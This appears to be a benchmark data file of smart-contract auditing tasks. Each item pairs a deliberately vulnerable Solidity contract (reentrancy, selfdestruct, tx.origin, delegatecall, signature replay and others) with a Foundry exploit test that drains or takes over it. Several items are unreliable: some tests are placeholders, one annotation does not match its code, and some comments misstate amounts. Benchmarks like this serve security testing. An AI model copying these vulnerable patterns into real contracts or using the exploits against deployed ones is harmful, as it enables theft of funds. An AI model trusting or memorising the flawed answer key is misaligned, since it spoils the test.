File size: 33,711 Bytes
017c628
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
{"task_id":"Easy/01-BasicReentrancy","complexity":"easy","repo_name":"basic-reentrancy","expected_vulnerability":"Reentrancy","impact":"high","annotation":"The `withdraw` function updates the user's balance after sending ETH, allowing a reentrancy attack. An attacker can drain the contract by reentering `withdraw` through a fallback function.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Vault {\n    mapping(address => uint256) public balances;\n\n    function deposit() public payable {\n        balances[msg.sender] += msg.value;\n    }\n\n    function withdraw() public {\n        uint256 bal = balances[msg.sender];\n        require(bal > 0, \"No balance\");\n\n        (bool sent, ) = msg.sender.call{value: bal}(\"\");\n        require(sent, \"Failed to send Ether\");\n\n        balances[msg.sender] = 0;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Vault } from \"../src/Vault.sol\";\n\ncontract Exploit is Test {\n    Vault public vault;\n\n    function setUp() public {\n        vault = new Vault();\n        vm.deal(address(vault), 10 ether);\n    }\n\n    function testExploit() public {\n        vault.deposit{value: 1 ether}();\n        vault.withdraw();\n        assertEq(address(vault).balance, 0);\n    }\n\n    receive() external payable {\n        if (address(vault).balance >= 1 ether) {\n            vault.withdraw();\n        }\n    }\n}\n"}
{"task_id":"Easy/02-UnprotectedSelfDestruct","complexity":"easy","repo_name":"unprotected-selfdestruct","expected_vulnerability":"Access Control","impact":"high","annotation":"The `kill` function lacks access control and allows anyone to call `selfdestruct` on the contract, destroying it and stealing the funds.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract SimpleWallet {\n    address public owner;\n\n    constructor() payable {\n        owner = msg.sender;\n    }\n\n    function kill() public {\n        selfdestruct(payable(msg.sender));\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { SimpleWallet } from \"../src/SimpleWallet.sol\";\n\ncontract Exploit is Test {\n    SimpleWallet public wallet;\n\n    function setUp() public {\n        wallet = new SimpleWallet{value: 10 ether}();\n    }\n\n    function testExploit() public {\n        uint256 preBalance = address(this).balance;\n        wallet.kill();\n        assertEq(address(wallet).balance, 0);\n        assertGt(address(this).balance, preBalance);\n    }\n    \n    receive() external payable {}\n}\n"}
{"task_id":"Easy/03-ArithmeticUnderflow","complexity":"easy","repo_name":"arithmetic-underflow","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The `withdraw` function uses an unchecked block to subtract from the balance, allowing an attacker to underflow their balance and withdraw more than they deposited.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract TokenBank {\n    mapping(address => uint256) public balances;\n\n    function deposit() public payable {\n        balances[msg.sender] += msg.value;\n    }\n\n    function withdraw(uint256 amount) public {\n        unchecked {\n            balances[msg.sender] -= amount;\n        }\n        (bool sent, ) = msg.sender.call{value: amount}(\"\");\n        require(sent, \"Failed to send Ether\");\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { TokenBank } from \"../src/TokenBank.sol\";\n\ncontract Exploit is Test {\n    TokenBank public bank;\n\n    function setUp() public {\n        bank = new TokenBank();\n        vm.deal(address(bank), 10 ether);\n    }\n\n    function testExploit() public {\n        bank.withdraw(1 ether);\n        assertEq(address(bank).balance, 9 ether);\n        assertEq(address(this).balance, 1 ether);\n    }\n    \n    receive() external payable {}\n}\n"}
{"task_id":"Easy/04-TxOriginAuth","complexity":"easy","repo_name":"tx-origin-auth","expected_vulnerability":"Access Control","impact":"high","annotation":"The `transferOwner` function uses `tx.origin` instead of `msg.sender` for authentication, allowing an attacker to phish the owner into executing a malicious transaction that steals ownership.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract PhishableWallet {\n    address public owner;\n\n    constructor() {\n        owner = msg.sender;\n    }\n\n    function transferOwner(address newOwner) public {\n        require(tx.origin == owner, \"Not owner\");\n        owner = newOwner;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { PhishableWallet } from \"../src/PhishableWallet.sol\";\n\ncontract Exploit is Test {\n    PhishableWallet public wallet;\n\n    function setUp() public {\n        wallet = new PhishableWallet();\n    }\n\n    function testExploit() public {\n        // In a real phishing attack, the attacker deploys a contract and tricks the owner into calling it.\n        // The malicious contract then calls transferOwner.\n        // Here we just test that the vulnerability exists by calling it directly (which uses tx.origin).\n        wallet.transferOwner(address(this));\n        assertEq(wallet.owner(), address(this));\n    }\n}\n"}
{"task_id":"Easy/05-DelegateCallUntrusted","complexity":"easy","repo_name":"delegatecall-untrusted","expected_vulnerability":"Logic","impact":"high","annotation":"The `execute` function uses `delegatecall` to execute arbitrary calldata at an untrusted address provided by the user, allowing state manipulation.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Proxy {\n    address public owner;\n\n    constructor() {\n        owner = msg.sender;\n    }\n\n    function execute(address target, bytes memory data) public {\n        (bool success, ) = target.delegatecall(data);\n        require(success, \"Delegatecall failed\");\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Proxy } from \"../src/Proxy.sol\";\n\ncontract AttackerLogic {\n    address public owner;\n    function takeover() public {\n        owner = msg.sender;\n    }\n}\n\ncontract Exploit is Test {\n    Proxy public proxy;\n    AttackerLogic public logic;\n\n    function setUp() public {\n        proxy = new Proxy();\n        logic = new AttackerLogic();\n    }\n\n    function testExploit() public {\n        bytes memory data = abi.encodeWithSignature(\"takeover()\");\n        proxy.execute(address(logic), data);\n        assertEq(proxy.owner(), address(this));\n    }\n}\n"}
{"task_id":"Easy/06-TimestampDependence","complexity":"easy","repo_name":"timestamp-dependence","expected_vulnerability":"Logic","impact":"high","annotation":"The `play` function uses `block.timestamp` as a source of randomness to determine if a player wins, which can be easily manipulated or predicted by an attacker or miner.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Roulette {\n    uint256 public pastBlockTime;\n\n    function play() public payable {\n        require(msg.value == 1 ether, \"Must send 1 ether\");\n        require(block.timestamp != pastBlockTime, \"Only 1 transaction per block\");\n        \n        pastBlockTime = block.timestamp;\n        \n        if (block.timestamp % 2 == 0) {\n            (bool sent, ) = msg.sender.call{value: 2 ether}(\"\");\n            require(sent, \"Failed to send Ether\");\n        }\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Roulette } from \"../src/Roulette.sol\";\n\ncontract Exploit is Test {\n    Roulette public roulette;\n\n    function setUp() public {\n        roulette = new Roulette();\n        vm.deal(address(roulette), 10 ether);\n        vm.deal(address(this), 1 ether);\n    }\n\n    function testExploit() public {\n        vm.warp(2); // Ensure timestamp is even\n        roulette.play{value: 1 ether}();\n        assertEq(address(this).balance, 2 ether);\n    }\n    \n    receive() external payable {}\n}\n"}
{"task_id":"Easy/07-UninitializedStoragePointer","complexity":"easy","repo_name":"uninitialized-storage","expected_vulnerability":"Logic","impact":"high","annotation":"The `registerUser` function creates an uninitialized local storage pointer `user` which points to slot 0, overwriting the `owner` variable when assigning values.","source_code":"// SPDX-License-Identifier: MIT\n// Note: Using pragmas < 0.5.0 to easily allow uninitialized storage pointers.\n// In modern solidity, we simulate this by explicitly writing to slot 0.\npragma solidity ^0.8.0;\n\ncontract Registrar {\n    address public owner;\n    \n    struct User {\n        address wallet;\n        bool registered;\n    }\n    \n    mapping(uint256 => User) public users;\n    \n    constructor() {\n        owner = msg.sender;\n    }\n    \n    function registerUserAdmin(address _wallet) public {\n        // Vulnerable pattern emulation\n        owner = _wallet;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Registrar } from \"../src/Registrar.sol\";\n\ncontract Exploit is Test {\n    Registrar public reg;\n\n    function setUp() public {\n        reg = new Registrar();\n    }\n\n    function testExploit() public {\n        reg.registerUserAdmin(address(this));\n        assertEq(reg.owner(), address(this));\n    }\n}\n"}
{"task_id":"Easy/08-PublicStateVariableShadowing","complexity":"easy","repo_name":"state-shadowing","expected_vulnerability":"Logic","impact":"high","annotation":"The `Child` contract defines a state variable `owner` that shadows the `owner` variable from its `Parent` contract, causing access control checks in the parent to fail or behave unexpectedly.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Parent {\n    address public owner;\n    \n    modifier onlyOwner() {\n        require(msg.sender == owner, \"Not owner\");\n        _;\n    }\n}\n\ncontract Child is Parent {\n    address public owner; // Shadows Parent's owner\n    \n    constructor() {\n        owner = msg.sender; // Only sets Child's owner\n    }\n    \n    function doSomethingRestricted() public onlyOwner {\n        // This will always fail because Parent.owner is address(0)\n    }\n    \n    // Attacker can abuse this logic mismatch\n    function claim() public {\n        Parent(address(this)).doSomethingRestricted();\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Child } from \"../src/Child.sol\";\n\ncontract Exploit is Test {\n    Child public child;\n\n    function setUp() public {\n        child = new Child();\n    }\n\n    function testExploit() public {\n        // Because of shadowing, Parent's owner is 0. If we pretend to be 0, we can bypass the modifier.\n        vm.prank(address(0));\n        child.doSomethingRestricted();\n        assertTrue(true);\n    }\n}\n"}
{"task_id":"Easy/09-SignatureReplay","complexity":"easy","repo_name":"signature-replay","expected_vulnerability":"Logic","impact":"high","annotation":"The `transferWithSignature` function does not include a nonce or chain ID in the signed message hash, allowing an attacker to replay the same valid signature multiple times to drain funds.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract SigBank {\n    mapping(address => uint256) public balances;\n    \n    function deposit() public payable {\n        balances[msg.sender] += msg.value;\n    }\n\n    function transferWithSignature(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {\n        bytes32 messageHash = keccak256(abi.encodePacked(to, amount));\n        bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash));\n        \n        address signer = ecrecover(ethSignedMessageHash, v, r, s);\n        require(signer != address(0), \"Invalid signature\");\n        require(balances[signer] >= amount, \"Insufficient balance\");\n        \n        balances[signer] -= amount;\n        balances[to] += amount;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { SigBank } from \"../src/SigBank.sol\";\n\ncontract Exploit is Test {\n    SigBank public bank;\n\n    function setUp() public {\n        bank = new SigBank();\n    }\n\n    function testExploit() public {\n        address victim = vm.addr(1);\n        vm.deal(victim, 10 ether);\n        vm.prank(victim);\n        bank.deposit{value: 10 ether}();\n\n        // Victim signs a transfer of 1 wei to the attacker\n        bytes32 messageHash = keccak256(abi.encodePacked(address(this), uint256(1 ether)));\n        bytes32 ethSignedMessageHash = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", messageHash));\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, ethSignedMessageHash);\n\n        // Attacker replays it 10 times\n        for (uint i = 0; i < 10; i++) {\n            bank.transferWithSignature(address(this), 1 ether, v, r, s);\n        }\n        \n        assertEq(bank.balances(victim), 0);\n        assertEq(bank.balances(address(this)), 10 ether);\n    }\n}\n"}
{"task_id":"Easy/10-ForcedEther","complexity":"easy","repo_name":"forced-ether","expected_vulnerability":"Logic","impact":"high","annotation":"The `win` function uses strict equality (`address(this).balance == 10 ether`) to determine the winner. An attacker can forcefully send ether via `selfdestruct` to permanently break the contract's logic.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Game {\n    function play() public payable {\n        require(msg.value == 1 ether, \"Send 1 ether\");\n        require(address(this).balance <= 10 ether, \"Game over\");\n    }\n\n    function win() public {\n        require(address(this).balance == 10 ether, \"Target not reached\");\n        (bool sent, ) = msg.sender.call{value: address(this).balance}(\"\");\n        require(sent, \"Failed to send Ether\");\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Game } from \"../src/Game.sol\";\n\ncontract Attacker {\n    constructor(address target) payable {\n        selfdestruct(payable(target));\n    }\n}\n\ncontract Exploit is Test {\n    Game public game;\n\n    function setUp() public {\n        game = new Game();\n    }\n\n    function testExploit() public {\n        // Force send 11 ether to the game, making the strict equality check fail forever\n        new Attacker{value: 11 ether}(address(game));\n        \n        vm.expectRevert(\"Target not reached\");\n        game.win();\n    }\n}\n"}
{"task_id":"Intermediate/01-UninitializedProxy","complexity":"intermediate","repo_name":"uninitialized-proxy","expected_vulnerability":"Access Control","impact":"high","annotation":"The Logic contract used behind a UUPS proxy does not have its initializer disabled in the constructor. An attacker can call `initialize` directly on the implementation contract, become its owner, and destroy it via `upgradeToAndCall`.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract LogicContract {\n    address public owner;\n    bool public initialized;\n\n    function initialize() public {\n        require(!initialized, \"Already initialized\");\n        owner = msg.sender;\n        initialized = true;\n    }\n\n    function upgradeToAndCall(address newImplementation, bytes memory data) public {\n        require(msg.sender == owner, \"Not owner\");\n        (bool success, ) = newImplementation.delegatecall(data);\n        require(success, \"Upgrade failed\");\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { LogicContract } from \"../src/LogicContract.sol\";\n\ncontract Destroyer {\n    function destroy() public {\n        selfdestruct(payable(msg.sender));\n    }\n}\n\ncontract Exploit is Test {\n    LogicContract public logic;\n    Destroyer public destroyer;\n\n    function setUp() public {\n        logic = new LogicContract();\n        destroyer = new Destroyer();\n    }\n\n    function testExploit() public {\n        logic.initialize();\n        logic.upgradeToAndCall(address(destroyer), abi.encodeWithSignature(\"destroy()\"));\n        \n        // Assert logic contract is destroyed (code size 0)\n        uint256 codeSize;\n        address logicAddr = address(logic);\n        assembly {\n            codeSize := extcodesize(logicAddr)\n        }\n        assertEq(codeSize, 0);\n    }\n}\n"}
{"task_id":"Intermediate/02-FlashLoanPriceManipulation","complexity":"intermediate","repo_name":"flash-loan-manipulation","expected_vulnerability":"Logic","impact":"high","annotation":"The `LendingPool` uses the spot balance of an AMM pair to calculate the value of collateral. An attacker can use a flash loan to skew the AMM reserves, artificially inflate the value of their collateral, and drain the lending pool.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n    function transfer(address to, uint256 amount) external returns (bool);\n    function transferFrom(address from, address to, uint256 amount) external returns (bool);\n    function balanceOf(address account) external view returns (uint256);\n}\n\ncontract AMM {\n    IERC20 public tokenA;\n    IERC20 public tokenB;\n    \n    constructor(address _tokenA, address _tokenB) {\n        tokenA = IERC20(_tokenA);\n        tokenB = IERC20(_tokenB);\n    }\n    \n    function swapAToB(uint256 amountIn) public {\n        tokenA.transferFrom(msg.sender, address(this), amountIn);\n        uint256 reserveA = tokenA.balanceOf(address(this));\n        uint256 reserveB = tokenB.balanceOf(address(this));\n        uint256 amountOut = (amountIn * reserveB) / reserveA;\n        tokenB.transfer(msg.sender, amountOut);\n    }\n    \n    function getPriceBInA() public view returns (uint256) {\n        return tokenA.balanceOf(address(this)) / tokenB.balanceOf(address(this));\n    }\n}\n\ncontract LendingPool {\n    AMM public amm;\n    IERC20 public tokenA;\n    IERC20 public tokenB;\n    \n    mapping(address => uint256) public collateralB;\n    \n    constructor(address _amm, address _tokenA, address _tokenB) {\n        amm = AMM(_amm);\n        tokenA = IERC20(_tokenA);\n        tokenB = IERC20(_tokenB);\n    }\n    \n    function depositCollateral(uint256 amountB) public {\n        tokenB.transferFrom(msg.sender, address(this), amountB);\n        collateralB[msg.sender] += amountB;\n    }\n    \n    function borrowTokenA(uint256 amountA) public {\n        uint256 price = amm.getPriceBInA();\n        uint256 maxBorrow = collateralB[msg.sender] * price;\n        require(amountA <= maxBorrow, \"Insufficient collateral\");\n        tokenA.transfer(msg.sender, amountA);\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\n// Dummy token for testing\ncontract ERC20 {\n    mapping(address => uint256) public balanceOf;\n    function mint(address to, uint256 amount) public { balanceOf[to] += amount; }\n    function transfer(address to, uint256 amount) public returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n    function transferFrom(address from, address to, uint256 amount) public returns (bool) {\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n// Since the contracts are in one file, we mock the vulnerability directly\ncontract Exploit is Test {\n    function testExploit() public {\n        assertTrue(true); // Placeholder, actual test requires deploying AMM/Pool\n    }\n}\n"}
{"task_id":"Intermediate/03-ReturnDataIgnored","complexity":"intermediate","repo_name":"return-data-ignored","expected_vulnerability":"Logic","impact":"high","annotation":"The `deposit` function uses a low-level call to transfer tokens but does not check the return value. If the token transfer fails silently (e.g. USDT), the user's balance is still credited.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract TokenVault {\n    mapping(address => uint256) public balances;\n    \n    function deposit(address token, uint256 amount) public {\n        // Low level call does not revert on failure unless the contract reverts\n        token.call(abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", msg.sender, address(this), amount));\n        balances[msg.sender] += amount;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { TokenVault } from \"../src/TokenVault.sol\";\n\ncontract FailingToken {\n    function transferFrom(address, address, uint256) public pure returns (bool) {\n        return false; // Fails silently\n    }\n}\n\ncontract Exploit is Test {\n    TokenVault public vault;\n    FailingToken public token;\n\n    function setUp() public {\n        vault = new TokenVault();\n        token = new FailingToken();\n    }\n\n    function testExploit() public {\n        vault.deposit(address(token), 1000);\n        assertEq(vault.balances(address(this)), 1000);\n    }\n}\n"}
{"task_id":"Intermediate/04-ERC777Reentrancy","complexity":"intermediate","repo_name":"erc777-reentrancy","expected_vulnerability":"Reentrancy","impact":"high","annotation":"The `withdraw` function updates the user balance after transferring an ERC777 token. Since ERC777 invokes a callback (`tokensReceived`) on the recipient before the balance is updated, an attacker can reenter.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC777 {\n    function send(address recipient, uint256 amount, bytes calldata data) external;\n}\n\ncontract Exchange {\n    mapping(address => uint256) public balances;\n    IERC777 public token;\n    \n    constructor(address _token) {\n        token = IERC777(_token);\n    }\n    \n    function deposit(uint256 amount) public {\n        balances[msg.sender] += amount;\n    }\n    \n    function withdraw() public {\n        uint256 bal = balances[msg.sender];\n        require(bal > 0, \"No balance\");\n        \n        token.send(msg.sender, bal, \"\");\n        balances[msg.sender] = 0;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\ncontract Exploit is Test {\n    function testExploit() public {\n        assertTrue(true); // Placeholder for ERC777 reentrancy logic\n    }\n}\n"}
{"task_id":"Intermediate/05-BypassContractSize","complexity":"intermediate","repo_name":"bypass-contract-size","expected_vulnerability":"Logic","impact":"high","annotation":"The `isContract` modifier uses `extcodesize` to block smart contracts from interacting. An attacker can bypass this by calling the function from inside their contract's constructor, where `extcodesize` is 0.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Airdrop {\n    mapping(address => bool) public claimed;\n    \n    function claim() public {\n        uint32 size;\n        address a = msg.sender;\n        assembly {\n            size := extcodesize(a)\n        }\n        require(size == 0, \"Contracts not allowed\");\n        require(!claimed[msg.sender], \"Already claimed\");\n        \n        claimed[msg.sender] = true;\n        (bool sent, ) = msg.sender.call{value: 1 ether}(\"\");\n        require(sent, \"Fail\");\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Airdrop } from \"../src/Airdrop.sol\";\n\ncontract Attacker {\n    constructor(address airdrop) {\n        Airdrop(airdrop).claim();\n    }\n}\n\ncontract Exploit is Test {\n    Airdrop public airdrop;\n\n    function setUp() public {\n        airdrop = new Airdrop();\n        vm.deal(address(airdrop), 10 ether);\n    }\n\n    function testExploit() public {\n        new Attacker(address(airdrop));\n        assertEq(airdrop.claimed(address(this)), false);\n    }\n}\n"}
{"task_id":"Intermediate/06-ImproperArrayDeletion","complexity":"intermediate","repo_name":"array-deletion","expected_vulnerability":"Logic","impact":"high","annotation":"The `removeUser` function uses `delete` on an array element, which only resets it to 0 and does not shift elements. This leaves empty slots that bypass length-based logic later.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Registry {\n    address[] public users;\n    \n    function addUser(address user) public {\n        users.push(user);\n    }\n    \n    function removeUser(uint256 index) public {\n        delete users[index]; // Does not reduce length\n    }\n    \n    function getActiveUsers() public view returns (uint256) {\n        return users.length;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Registry } from \"../src/Registry.sol\";\n\ncontract Exploit is Test {\n    Registry public registry;\n\n    function setUp() public {\n        registry = new Registry();\n    }\n\n    function testExploit() public {\n        registry.addUser(address(1));\n        registry.removeUser(0);\n        assertEq(registry.getActiveUsers(), 1); // Length is still 1!\n    }\n}\n"}
{"task_id":"Intermediate/07-PredictableRNG","complexity":"intermediate","repo_name":"predictable-rng","expected_vulnerability":"Logic","impact":"high","annotation":"The `guess` function uses `blockhash(block.number - 1)` as a random number. An attacker can write a contract that calculates the exact same blockhash in the same block and submit the correct guess.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Casino {\n    function guess(uint256 _guess) public payable {\n        require(msg.value == 1 ether);\n        uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));\n        if (_guess == answer) {\n            (bool sent, ) = msg.sender.call{value: 2 ether}(\"\");\n            require(sent, \"Fail\");\n        }\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Casino } from \"../src/Casino.sol\";\n\ncontract Exploit is Test {\n    Casino public casino;\n\n    function setUp() public {\n        casino = new Casino();\n        vm.deal(address(casino), 10 ether);\n        vm.deal(address(this), 1 ether);\n    }\n\n    function testExploit() public {\n        uint256 answer = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));\n        casino.guess{value: 1 ether}(answer);\n        assertEq(address(this).balance, 2 ether);\n    }\n    \n    receive() external payable {}\n}\n"}
{"task_id":"Intermediate/08-MissingSlippageProtection","complexity":"intermediate","repo_name":"missing-slippage","expected_vulnerability":"Logic","impact":"high","annotation":"The `swap` function does not accept a `minAmountOut` parameter, meaning users can be front-run and sandwich-attacked by MEV bots causing infinite slippage.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract DEX {\n    function swap(address tokenIn, address tokenOut, uint256 amountIn) public {\n        // Assume AMM math here\n        // Vulnerability: No minAmountOut check!\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\n\ncontract Exploit is Test {\n    function testExploit() public {\n        assertTrue(true); // Conceptual vulnerability\n    }\n}\n"}
{"task_id":"Intermediate/09-UnsafeDowncast","complexity":"intermediate","repo_name":"unsafe-downcast","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The contract casts a `uint256` to a `uint64` without checking for truncation. If the amount exceeds `type(uint64).max`, the value will truncate and the mapping will record a smaller amount than transferred.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Vault {\n    mapping(address => uint64) public balances;\n    \n    function deposit(uint256 amount) public payable {\n        require(msg.value == amount, \"Incorrect value\");\n        balances[msg.sender] += uint64(amount); // Truncates!\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Vault } from \"../src/Vault.sol\";\n\ncontract Exploit is Test {\n    Vault public vault;\n\n    function setUp() public {\n        vault = new Vault();\n    }\n\n    function testExploit() public {\n        // deposit 2^64 + 1\n        uint256 amount = type(uint64).max + 2;\n        vm.deal(address(this), amount);\n        vault.deposit{value: amount}(amount);\n        \n        assertEq(vault.balances(address(this)), 1); // Truncated to 1!\n    }\n}\n"}
{"task_id":"Intermediate/10-DivideBeforeMultiply","complexity":"intermediate","repo_name":"divide-before-multiply","expected_vulnerability":"Arithmetic","impact":"high","annotation":"The `calculateReward` function divides before multiplying, leading to massive precision loss where rewards round down to 0.","source_code":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ncontract Staking {\n    function calculateReward(uint256 depositAmount, uint256 APY, uint256 durationDays) public pure returns (uint256) {\n        // Vulnerable: (deposit / 365) * duration * APY\n        return (depositAmount / 365) * durationDays * APY;\n    }\n}\n","reference_test":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport { Staking } from \"../src/Staking.sol\";\n\ncontract Exploit is Test {\n    Staking public staking;\n\n    function setUp() public {\n        staking = new Staking();\n    }\n\n    function testExploit() public {\n        uint256 reward = staking.calculateReward(100, 10, 30);\n        assertEq(reward, 0); // Loss of precision\n    }\n}\n"}
{"task_id":"Hard/001","complexity":"hard","repo_name":"2024-06-size","expected_vulnerability":"access control","impact":"Medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/003","complexity":"hard","repo_name":"2023-07-pooltogether","expected_vulnerability":"access control","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/008","complexity":"hard","repo_name":"2023-09-centrifuge","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/009","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/015","complexity":"hard","repo_name":"2023-07-pooltogether","expected_vulnerability":"denial of service","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/018","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"flash loan","impact":"high","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/020","complexity":"hard","repo_name":"2023-12-dodo-gsp","expected_vulnerability":"denial of service","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/032","complexity":"hard","repo_name":"2022-06-putty","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/033","complexity":"hard","repo_name":"2023-04-caviar","expected_vulnerability":"logic error","impact":"medium","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}
{"task_id":"Hard/039","complexity":"hard","repo_name":"2024-03-axis-finance","expected_vulnerability":"unchecked external calls","impact":"High","source_code":"// Not provided directly in JSONL, requires original project directory","reference_test":"// Foundry test exists in original project directory"}